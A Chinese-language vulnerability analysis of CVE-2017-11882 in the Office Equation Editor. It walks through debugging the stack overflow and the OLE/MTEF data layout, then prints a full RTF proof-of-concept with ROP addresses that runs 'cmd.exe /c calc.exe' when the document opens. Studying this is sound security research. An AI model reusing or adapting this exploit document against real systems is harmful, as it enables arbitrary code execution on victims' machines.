1. 软件简介
Office 是一套由微软公司开发的办公软件,为Windows和AppleMacintosh操作系统而开发。与办公室应用程序一样,它包括联合的服务器和基于互联网的服务。
Eqnedt32.exe为各版本的微软Office公式编辑器组件
2. 漏洞成因
CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码
3. 利用过程
1. 定位溢出点
搭建环境,windows7 32位+office 2007 sp3
生成poc文件,打开会弹出计算器
找到EQNEDT32.EXE
设置注册表项,便于调试
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE:
打开poc文档,程序运行被x32捕获
OLE(Object Linking and Embedding,对象连接与嵌入),是一种面向对象的技术,利用这种技术可开发可重复使用的软件组件(COM)。OLE从多媒体借鉴而来,是Windows的一组服务功能,提供了一种以源于不同应用软件的信息建立复合文档的强有力方法。
在WinExec函数下断点
此时已经是处于shellcode里,栈回溯,返回地址保存在0x12F1D0,为溢出点
查看调用返回地址为0x00430C18,下断点
2. 分析触发漏洞函数
重新打开poc文档,查看栈调用的函数为0x004115A7
在0x004115A7下断点,重新运行,单步分析是哪里导致了返回地址被覆盖
F8 0x41160F后直接跳转到call WinExec,进入函数分析
该函数有三个参数,第一个为字符串地址0x12f350,第二个为0,第三个参数为栈地址0x12F1EC
进入函数,返回地址为0x4115DB
单步运行分析函数逻辑,在串拷贝时未对长度进行判断,从而导致栈溢出覆盖了返回地址
为0x430C12
执行了cmd命令,栈中为上次层函数的参数0x12f350 /c calc.exe命令地址
及0显示方式 SW_HIDE
3. 分析数据结构
漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。
Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR头结构(共28字节)如下
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式头长度,固定为0x1C。
DWORD version; // 固定为0x00020000。
WORD cf; // 该公式对象的剪贴板格式。
DWORD cbObject; // MTEF数据的长度,不包括头部。
DWORD reserved1; // 未公开
DWORD reserved2; // 未公开
DWORD reserved3; // 未公开
DWORD reserved4; // 未公开
};
- {\*\comment MTEF Header }
- 1c00 {\*\comment MTEF Header Size -> 0x1C = 28 }
- 00000200
- 9ec4
- a9000000 //MTEF数据长度 0xA9个字节 从MTEF开始
- 00000000
- c8a75c00
- c4ee5b00
- 00000000
- // MTEF header (version 2 and later)
- 03 {\*\comment Version }
- 01 {\*\comment Generating Platform }
- 01 {\*\comment Generating Product }
- 03 {\*\comment Product Version }
- 0A {\*\comment Product S
- 0a // SIZE
- 01
- 08 // FONT
- 5a // TypeFace number
- 5a // Style
- // FontName(null - terminated)
- 636d642e657865202f632063616c632e65786520414141414141414141414141414141414141414141414141120c4300
0x1C
0xA9
RTF格式
其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。
4. 构造shellcode
经过尝试,发现溢出点后不能有额外的数据覆盖,否则会覆盖上层函数参数引发异常,font name到溢出点的shellcode最大可使用长度为0x28个字节,改为打开记事本
4. POC
- {\rtf1
- { Hello, calculator! }
- {\object \objemb \objupdate \objw1 \objh1
- {\*\objclass Equation.3}
- {\*\objdata
- 01050000 {\*\comment OLE Version }
- 02000000 {\*\comment Format ID -> 0x02 = Embedded Object }
- 0b000000 {\*\comment ClassName.Length -> 0x0B = 11 }
- 4571756174696f6e2e3300 {\*\comment ClassName.String -> "Equation.3\x00" }
- 00000000 {\*\comment TopicName.Length -> 0x00 }
- 00000000 {\*\comment Item.Length -> 0x00 }
- 00140000 {\*\comment NativeData.Size -> 0x1400 = 5120 }
- D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFF04000000FEFFFFFF05000000FEFFFFFF060000000700000008000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF0200000002CE020000000000C000000000000046000000000000000000000000304E4E74DF0AD30103000000C00900000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000201FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006F006D0070004F0062006A00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000004000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004F0062006A0049006E0066006F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000FEFFFFFF02000000FEFFFFFFFEFFFFFF05000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F0000001000000011000000120000001300000014000000FEFFFFFF160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F00000020000000210000002200000023000000240000002500000026000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100FEFF030A0000FFFFFFFF02CE020000000000C000000000000046170000004D6963726F736F6674204571756174696F6E20332E30000C0000004453204571756174696F6E000B0000004571756174696F6E2E3300F439B271000000000000000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF030000000400000001000000FFFFFFFF00000000000000007349000034060000040400000100090000030202000004001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A005A0421200000026060F001A00FFFFFFFF000010000000C0FFFFFFC0FFFFFF60420000600500000B00000026060F000C004D617468547970650000C00008000000FA0200000800000000000000040000002D010000050000001402F8016000050000001302F801404208000000FA0200001000000000000000040000002D010100050000001402C0034000050002004F006C0065005000720065007300300030003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180002010300000005000000FFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000040000002C040000000000004500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000001500000057040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001302C00360421C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFFE2250A7A00000A0000000000040000002D0102000B000000320A4C05503C0800000031313131313131310C000000320A4C05D0340A000000313131313131313131310C000000320A4C05502D0A000000313131313131313131310C000000320A4C05D0250A000000313131313131313131310C000000320A4C05501E0A000000313131313131313131310C000000320A4C05D0160A000000313131313131313131310C000000320A4C05500F0A000000313131313131313131310C000000320A4C05D0070A000000313131313131313131310C000000320A4C0550000A000000313131313131313131310B000000320A8403503C0800000031313131313131310C000000320A8403D0340A000000313131313131313131310C000000320A8403502D0A000000313131313131313131310C000000320A8403D0250A000000313131313131313131310C000000320A8403501E0A000000313131313131313131310C000000320A8403D0160A000000313131313131313131310C000000320A8403500F0A000000313131313131313131310C000000320A8403D0070A000000313131313131313131310C000000320A840350000A000000313131313131313131310B000000320A6601503C0800000031313131313131310C000000320A6601D0340A000000313131313131313131310C000000320A6601502D0A000000313131313131313131310C000000320A6601D0250A000000313131313131313131310C000000320A6601501E0A000000313131313131313131310C000000320A6601D0160A000000313131313131313131310C000000320A6601500F0A000000313131313131313131310C000000320A6601D0070A000000313131313131313131310C000000320A660150000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFFD4EF1800040000002D01030004000000F00102000300000000000000000000000000000000000000000000000000
- {\*\comment MTEF Header }
- 1C00 {\*\comment MTEF Header Size -> 0x1C = 28 }
- 00000200
- A8C4
- 3B040000
- 00000000
- E0A06600
- ECE76500
- 00000000
- 03 {\*\comment Version }
- 01 {\*\comment Generating Platform }
- 01 {\*\comment Generating Product }
- 03 {\*\comment Product Version }
- 0A {\*\comment Product Subversion }
- 0A {\*\comment TYPESIZE Record }
- 01
- 05 {\*\comment MATRIX Record }
- 01
- 01
- 01
- 1C {\*\comment size1 -> Copy 8 bytes to EBP-0x14 }
- 94 {\*\comment size2 -> Copy 38 bytes to EBP-0x0C }
- 636D642E {\*\comment EBP-0x14 -> "cmd." }
- 65786520 {\*\comment EBP-0x10 -> "exe " }
- 2F632063 {\*\comment EBP-0x0C -> "/c c" }
- 616C6300 {\*\comment EBP-0x08 -> "alc\x00" }
- 00000000 {\*\comment EBP-0x04 }
- 19000000 {\*\comment EBP-0x00: 0x19 = (0x32 / 2) }
- 3AC74400 {\*\comment Return Address -> Base + 0x0004C73A } {\*\asmcomment add esp, 4; retn; }
- 285B4500 {\*\comment Writable Address -> Base + 0x00055B28 }
- B60E4100 {\*\comment Increase EAX -> Base + 0x00010EB6 } {\*\asmcomment add eax, ebp; retn 2; }
- B60E4100 {\*\comment Increase EAX -> Base + 0x00010EB6 } {\*\asmcomment add eax, ebp; retn 2; }
- 0000
- 4BED4000 {\*\comment Push EAX and Call WinExec -> Base + 0x0000ED4B }
- 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
- {\*\comment End of the equation }
- 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
- 01050000 {\*\comment OLE Version }
- 05000000 {\*\comment Format ID -> 0x05 = Presentation Object with a ClassName }
- 0D000000 {\*\comment ClassName.Length -> 0x0D = 13 }
- 4D45544146494C455049435400734900 {\*\comment ClassName.String -> "METAFILEPICT\x00" }
- {\*\comment Presentation Data }
- 00CCF9FFFF0C04000008007349340600000100090000030202000004001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A005A0421200000026060F001A00FFFFFFFF000010000000C0FFFFFFC0FFFFFF60420000600500000B00000026060F000C004D617468547970650000C00008000000FA0200000800000000000000040000002D010000050000001402F8016000050000001302F801404208000000FA0200001000000000000000040000002D010100050000001402C0034000050000001302C00360421C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFF682C0A7800000A0000000000040000002D0102000B000000320A4C05503C0800000031313131313131310C000000320A4C05D0340A000000313131313131313131310C000000320A4C05502D0A000000313131313131313131310C000000320A4C05D0250A000000313131313131313131310C000000320A4C05501E0A000000313131313131313131310C000000320A4C05D0160A000000313131313131313131310C000000320A4C05500F0A000000313131313131313131310C000000320A4C05D0070A000000313131313131313131310C000000320A4C0550000A000000313131313131313131310B000000320A8403503C0800000031313131313131310C000000320A8403D0340A000000313131313131313131310C000000320A8403502D0A000000313131313131313131310C000000320A8403D0250A000000313131313131313131310C000000320A8403501E0A000000313131313131313131310C000000320A8403D0160A000000313131313131313131310C000000320A8403500F0A000000313131313131313131310C000000320A8403D0070A000000313131313131313131310C000000320A840350000A000000313131313131313131310B000000320A6601503C0800000031313131313131310C000000320A6601D0340A000000313131313131313131310C000000320A6601502D0A000000313131313131313131310C000000320A6601D0250A000000313131313131313131310C000000320A6601501E0A000000313131313131313131310C000000320A6601D0160A000000313131313131313131310C000000320A6601500F0A000000313131313131313131310C000000320A6601D0070A000000313131313131313131310C000000320A660150000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFFD4EF1800040000002D01030004000000F0010200030000000000
- }
- }
- }
5. 结语
CVE-2017-11882是一个非常经典的栈溢出漏洞。上次出现这么典型的office栈溢出漏
洞是著名的CVE-2012-0158,当涉及栈的拷贝操作时,要做到对长度的判断及限制就可以杜绝此类漏洞的发生。
Office漏洞大部分都是其组件产生的,从而不需要绕过office的本身的保护机制,同时这些漏洞造成的危害也是巨大的,是APT攻击的常用手段,多学习吧